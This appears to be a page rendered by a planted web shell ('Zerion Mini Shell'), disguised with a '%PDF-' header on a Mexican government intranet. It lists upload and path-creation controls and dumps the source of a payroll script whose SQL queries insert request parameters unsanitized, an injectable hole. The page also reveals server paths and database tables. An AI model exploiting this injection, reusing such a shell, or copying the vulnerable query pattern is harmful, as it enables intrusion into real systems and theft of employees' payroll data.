%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/nomina/
Upload File :
Create Path :
Current File : /home/tjamichg/intranet.tjamich.gob.mx/intranet/sistemas/nomina/fondo.php

<?php

$quincena     = isset($_REQUEST['quincena']) ? $_REQUEST['quincena'] : '0';
$anio     = isset($_REQUEST['anio']) ? $_REQUEST['anio'] : '0';
include "../../config/config.php";

$conf = new Configuracion();
$conf->conectarBD();

   //Consulta datos de la persona desde oficialia rh
   $consulta = "SELECT n.*,ff.id_fondo,ff.folio,ff.porcentaje,e.num_empleado,e.nombre,e.apellido1,e.apellido2
                            FROM tjam_nominas n 
                            JOIN tjam_empleados e   ON (n.id_empleado = e.num_empleado)
                            JOIN tjam_empleados_fondos ff ON (ff.no_empleado = e.num_empleado)
                            WHERE n.anio = $anio AND quincena = $quincena";
    $rst1 = $conf->consulta($consulta);

             
                                                    for($i = 0; $i < count($rst1); $i++)
                                                    {  
                                                        
                                                       
                                                        
                                                    $id_fondo = $rst1[$i]["id_fondo"];
                                          
                                                            
                                                            $xml=simplexml_load_file($rst1[$i]["ruta"].$rst1[$i]["nomina_xml"]);
                                                            foreach ($xml->xpath('//cfdi:Comprobante') as $comprobante ){
                                                                $SubTotal    =   formatMoney($comprobante['SubTotal'],2);
                                                                $Descuento   =   formatMoney($comprobante['Descuento'],2);
                                                                $total       =   formatMoney($comprobante['Total'],2);
                                                                $fecha       =   $comprobante['Fecha'];
                                                            }
                                                             $valor = 0.0;
                                                             $valorT = 0.0;
                                                             $valorP = 0.0;
                                            foreach ($xml->xpath('//cfdi:Comprobante//cfdi:Complemento//nomina12:Deducciones//nomina12:Deduccion') as $Traslado){ 
                                                           if($Traslado['Clave']== 'D005' or $Traslado['Clave']== 'D006')
                                                           {
                                                               if($Traslado['Clave']== 'D005')
                                                                 $valorT = (float)$Traslado['Importe'];
                                                               if($Traslado['Clave']== 'D006')
                                                                  $valorP = (float)$Traslado['Importe'];
                                                                
                                                                $valor = (float)$Traslado['Importe'];
                                                                    
                                                               $sumaTotal += $valor ; 
                                                                $sumaFondo += $valor; 
                                                                
                                                                
                                                           }
                                                        } 
                                                        
                                                        $quer = "SELECT id_fondo FROM tjam_empleados_fondos_acumulado WHERE id_fondo = $id_fondo AND quincena = $quincena";
                                                        $rstQuery = $conf->consulta($quer);
                                                        if(count($rstQuery) == 0)
                                                        {
                                                            $queryf = "INSERT INTO tjam_empleados_fondos_acumulado (id_fondo,quincena,monto_trabajador,monto_patron,fecha_timbrado) VALUES ($id_fondo,$quincena,$valorT,$valorP,'$fecha')";
                                                            $conf->actualizacion($queryf);
                                                        }
                                                        
                                                    }        
                                                            
                                                   
                                                        
                                                        
                                                 

                                                    $conf->desconectarDB();
                                                    
                                               
                                     header("Location: ../fondo/page_find_fondos.php?app=1");                   
?>
                                               

Zerion Mini Shell 1.0